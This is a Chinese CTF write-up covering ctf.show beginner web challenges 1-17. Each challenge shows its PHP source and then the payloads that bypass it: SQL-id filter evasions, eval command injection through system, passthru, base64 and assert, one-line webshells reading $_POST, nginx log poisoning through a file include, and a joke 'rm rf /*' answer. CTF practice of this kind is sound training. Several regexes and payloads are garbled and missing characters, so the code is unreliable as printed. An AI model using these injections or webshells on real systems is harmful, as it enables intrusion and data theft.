本文作者:无名安全团队-火之高兴
WEB-1
<html>
<head>
<title>ctf.show萌新计划web1</title>
<meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
$id = $_GET['id'];
# 判断id的值是否大于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 ";
echo "执行的sql为:$sql<br>";
# 执行sql 语句
$result = $conn->query($sql);
# 判断有没有查询结果
if ($result->num_rows > 0) {
# 如果有结果,获取结果对象的值$row
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
}
}
# 关闭数据库连接
$conn->close();
}
}else{
highlight_file(__FILE__);
}
?>
</body>
<!-- flag in id = 1000 -->
</html>
考察知识点:php的 intval()函数
intval() 函数用于获取变量的整数值。
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。intval()不能用于object,否则会产生 E_NOTICE 错误并返回 1。
语法 int intval ( mixed $var, [int $base = 10 ] )
参数说明:$var:要转换成 integer 的数量值。$base:转化所使用的进制。(默认是十进制)
如果 base 是 0,通过检测 var 的格式来决定使用的进制:如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制
(hex);否则, 如果字符串以 “0” 开始,使用 8 进制(octal);否则, 将使用 10 进制 (decimal)。返回值
成功时返回 var 的 integer 值,失败时返回 0。空的 array 返回 0,非空的 array 返回 1。
最大的值取决于操作系统。32 位系统最大带符号的 integer 范围是 -2147483648 到
2147483647。举例,在这样的系统上, intval(‘1000000000000’) 会返回 2147483647。64
位系统上,最大带符号的 integer 值是 9223372036854775807。
字符串有可能返回 0,虽然取决于字符串最左侧的字符。
特别注意:除非 var 是一个字符串,否则 base 不会起作用。也就是说如果第一个参数不是字符串,那么第二个参数的进制就无效,即默认取整后,让取整后的数当做10进制数转换成10进制数,也就是本身了…
但有特例,正如上面所说,如果base为0,就自动检测var参数,0开头,当做8进制数,0x开头当做16进制数
可是使用字符串进行绕过,当传入的参数是 '1000'时可以绕过 intval($id) > 999的判断且,'1000'与1000在mysql中是一致的
?id='1000'
WEB-2
<html>
<head>
<title>ctf.show萌新计划web1</title>
<meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
$id = $_GET['id'];
if(preg_match("/or|+/i",$id)){
die("id error");
}
# 判断id的值是否大于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 ";
echo "执行的sql为:$sql<br>";
# 执行sql 语句
$result = $conn->query($sql);
# 判断有没有查询结果
if ($result->num_rows > 0) {
# 如果有结果,获取结果对象的值$row
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
}
}
# 关闭数据库连接
$conn->close();
}
}else{
highlight_file(__FILE__);
}
?>
</body>
<!-- flag in id = 1000 -->
</html>
关键代码:
preg_match("/or|+/i",$id)
知识点:
preg_match — 执行匹配正则表达式
正则表达式过滤的是 or 和 +
payolad:?id='1000'
WEB-3
<html>
<head>
<title>ctf.show萌新计划web1</title>
<meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
$id = $_GET['id'];
if(preg_match("/or|-|\|*|<|>|!|x|hex|+/i",$id)){
die("id error");
}
# 判断id的值是否大于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 ";
echo "执行的sql为:$sql<br>";
# 执行sql 语句
$result = $conn->query($sql);
# 判断有没有查询结果
if ($result->num_rows > 0) {
# 如果有结果,获取结果对象的值$row
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
}
}
# 关闭数据库连接
$conn->close();
}
}else{
highlight_file(__FILE__);
}
?>
</body>
<!-- flag in id = 1000 -->
</html>
核心代码:
preg_match("/or|-|\|*|<|>|!|x|hex|+/i",$id)
正则表达式过滤 or - * < > ! x hex +
payolad:?id='1000'
WEB-4
<html>
<head>
<title>ctf.show萌新计划web1</title>
<meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
$id = $_GET['id'];
if(preg_match("/or|-|\|/|\*|<|>|!|x|hex|(|)|+|select/i",$id)){
die("id error");
}
# 判断id的值是否大于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 ";
echo "执行的sql为:$sql<br>";
# 执行sql 语句
$result = $conn->query($sql);
# 判断有没有查询结果
if ($result->num_rows > 0) {
# 如果有结果,获取结果对象的值$row
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
}
}
# 关闭数据库连接
$conn->close();
}
}else{
highlight_file(__FILE__);
}
?>
</body>
<!-- flag in id = 1000 -->
</html>
核心代码:
preg_match("/or|-|\|/|\*|<|>|!|x|hex|(|)|+|select/i
正则表达式过滤,多了一个select
payolad:?id='1000'
WEB-5
<html>
<head>
<title>ctf.show萌新计划web1</title>
<meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
$id = $_GET['id'];
if(preg_match("/'|"|or|||-|\|/|\*|<|>|!|x|hex|(|)|+|select/i",$id)){
die("id error");
}
# 判断id的值是否大于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 ";
echo "执行的sql为:$sql<br>";
# 执行sql 语句
$result = $conn->query($sql);
# 判断有没有查询结果
if ($result->num_rows > 0) {
# 如果有结果,获取结果对象的值$row
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
}
}
# 关闭数据库连接
$conn->close();
}
}else{
highlight_file(__FILE__);
}
?>
</body>
<!-- flag in id = 1000 -->
</html>
核心代码:
preg_match("/'|"|or|||-|\|/|\*|<|>|!|x|hex|(|)|+|select/i",$id)
' 被过滤了,之前的payload不能用了
payload:连续两次取反:id=~~1000
异或:200^800 --->只要异或的结果是1000就可以
2进制(数一) | 0000 0011 0010 0000 |
---|---|
2进制(数二) | 0000 0000 1100 1000 |
2进制(结果) | 0000 0011 1110 1000 |
16进制(数一) | 0320 |
16进制(数二) | 00C8 |
16进制(结果) | 03E8 |
10进制(数一) | 800 |
10进制(数二) | 200 |
10进制(结果) | 1000 |
WEB-6
<html>
<head>
<title>ctf.show萌新计划web1</title>
<meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
$id = $_GET['id'];
if(preg_match("/'|"|or|||-|\|/|\*|<|>|^|!|x|hex|(|)|+|select/i",$id)){
die("id error");
}
# 判断id的值是否大于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 ";
echo "执行的sql为:$sql<br>";
# 执行sql 语句
$result = $conn->query($sql);
# 判断有没有查询结果
if ($result->num_rows > 0) {
# 如果有结果,获取结果对象的值$row
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
}
}
# 关闭数据库连接
$conn->close();
}
}else{
highlight_file(__FILE__);
}
?>
</body>
<!-- flag in id = 1000 -->
</html>
核心代码:
if(preg_match("/'|"|or|||-|\|/|\*|<|>|^|!|x|hex|(|)|+|select/i",$id)){
相比于上一道题 ^也被过滤了所以不能用异或只可以取反
payload:?id=~~1000
WEB-7
<html>
<head>
<title>ctf.show萌新计划web1</title>
<meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
$id = $_GET['id'];
if(preg_match("/'|"|or|||-|\|/|\*|<|>|^|!|~|x|hex|(|)|+|select/i",$id)){
die("id error");
}
# 判断id的值是否大于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 ";
echo "执行的sql为:$sql<br>";
# 执行sql 语句
$result = $conn->query($sql);
# 判断有没有查询结果
if ($result->num_rows > 0) {
# 如果有结果,获取结果对象的值$row
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
}
}
# 关闭数据库连接
$conn->close();
}
}else{
highlight_file(__FILE__);
}
?>
</body>
<!-- flag in id = 1000 -->
</html>
核心代码:
if(preg_match("/'|"|or|||-|\|/|\*|<|>|^|!|~|x|hex|(|)|+|select/i",$id)){
取反也被过滤了:
可以使用二进制转换:0b1111101000。
payload:id = 0b1111101000
WEB 1-7总结
WEB1-7题主要的目的是要我们能够构造出 id=1000 我们可以采取以下几种方式
0X01 进制转换
-
二进制 0b1111101000 -
十六进制 0x38e
0x02 字节操作
-
两次取反 ~~1000 -
异或 200^800 只要结果是1000都满足 -
按位与 992|8。 同上
0x03 运算符
-
乘法 200*5 -
除法 10/0.01 -
减法 200–80 -
负负 --1000 -
加法 200+800(地址栏输入的话把+换成%2b)
0x04 sql注入构造
-
id=1 or 1=1# -
id=id#
0x05 绕过函数
intval(id的起始位置开始去数字碰到非数字就结束,当起始位置为非数字时则为0。比如 intval(‘100a123’)=100 intval(‘a123’)=0
所以我们只要任意非数字开头就可以了,但是又要满足sql语句 所以有如下几种方式
-
(1000) -
‘1000’
WEB-8
第八题是个梗题,题上说阿呆删库跑路了所以
payload:flag=rm rf /*
WEB-9
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(preg_match("/system|exec|highlight/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>
命令执行漏洞,会匹配命令
题目要求只能执行system、exec、highlight命令
-
查看文件。c=system('ls');
2.
-
查看config.php c=system('cat config.php');
WEB-10
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|exec|highlight/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>
核心代码:
!preg_match("/system|exec|highlight/i",$c
需要绕过preg_match或者使用其他命令绕过
php命令执行函数:
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
Payload: c=passthru('cat config.php);
Payload: c=b='tem';a.d('cat config.php');
WEB-11
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|exec|highlight|cat/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>
cat也被过滤了
linux有许多与cat类似的函数如:
tac、more、less、head、tail、nl、sed、sort、uniq.
也可以用单引号或者双引号或者反斜杠绕过cat
payload:c=b='tem';a.d('more config.php');
payload:c=b='tem';a.d('ca""t config.php');
WEB-12
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|exec|highlight|cat|.|php|config/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>
在linux在linux中反引号的作用就是将反引号内的Linux命令先执行,然后将执行结果赋予变量。即 cat 'ls' 即先执行ls 在cat ls后的内容
因此 Payload1: c=passthru("ca''t 'ls'");
或者使用base64加密绕过
Payload2:
将 c=system('cat config.php');转化成
c=b=base64_decode('Y2F0IGNvbmZpZy5waHA=');b);
WEB-13
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|exec|highlight|cat|.|;|file|php|config/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>
分号也被过滤了
使用?>来闭合 ---> <? ?>是短标签
方法1:需要使用assert函数
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的响应。如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。assert中 的字符串可以没有分号.
base64需要UTF8编码
payload:c=assert(base64_decode(%27c3lzdGVtKCdjYXQgY29uZmlnLnBocCcp%27))?>
方法2:类似于一计划木马:传入c=echo $_POST[1]
?>
使用post语句提交 1=cat config.php即可 或者用菜刀直连
WEB-14
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|exec|highlight|cat|(|.|;|file|php|config/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>
小括号被过滤了但是没有过滤中括号
使用类似一句话木马:
payload:c=echo '$_POST[1]'?> ----> 单引号内的会被当作代码执行
使用post语句提交 1=cat config.php即可
WEB-15
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|\*|?|<|>|=|exec|highlight|cat|(|.|file|php|config/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
payload同上
过滤了>但是没过滤;
WEB-16
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(md5("ctfshow$c")==="a6f57ae38a22448c2f07f3f95f49c84e"){
echo $flag;
}else{
echo "nonono!";
}
}else{
highlight_file(__FILE__);
}
?>
爆破:

WEB-17
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/php/i",$c)){
include($c);
}
}else{
highlight_file(__FILE__);
}
?>
有代码可以看出是文件包含漏洞
通过抓包分析中间件是nginx,nginx的日志文件的默认路径为
日志文件:/var/log/nginx/access.log
错误文件:/var/log/nginx/error.log
尝试进行访问,发现access.log可以访问

抓包将一句话木马写入请求头

发包,访问nginx手动输入命令或蚁剑直连都可以

flag在36d.php里
原文始发于微信公众号(0x00实验室):CTFshow 萌新题
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论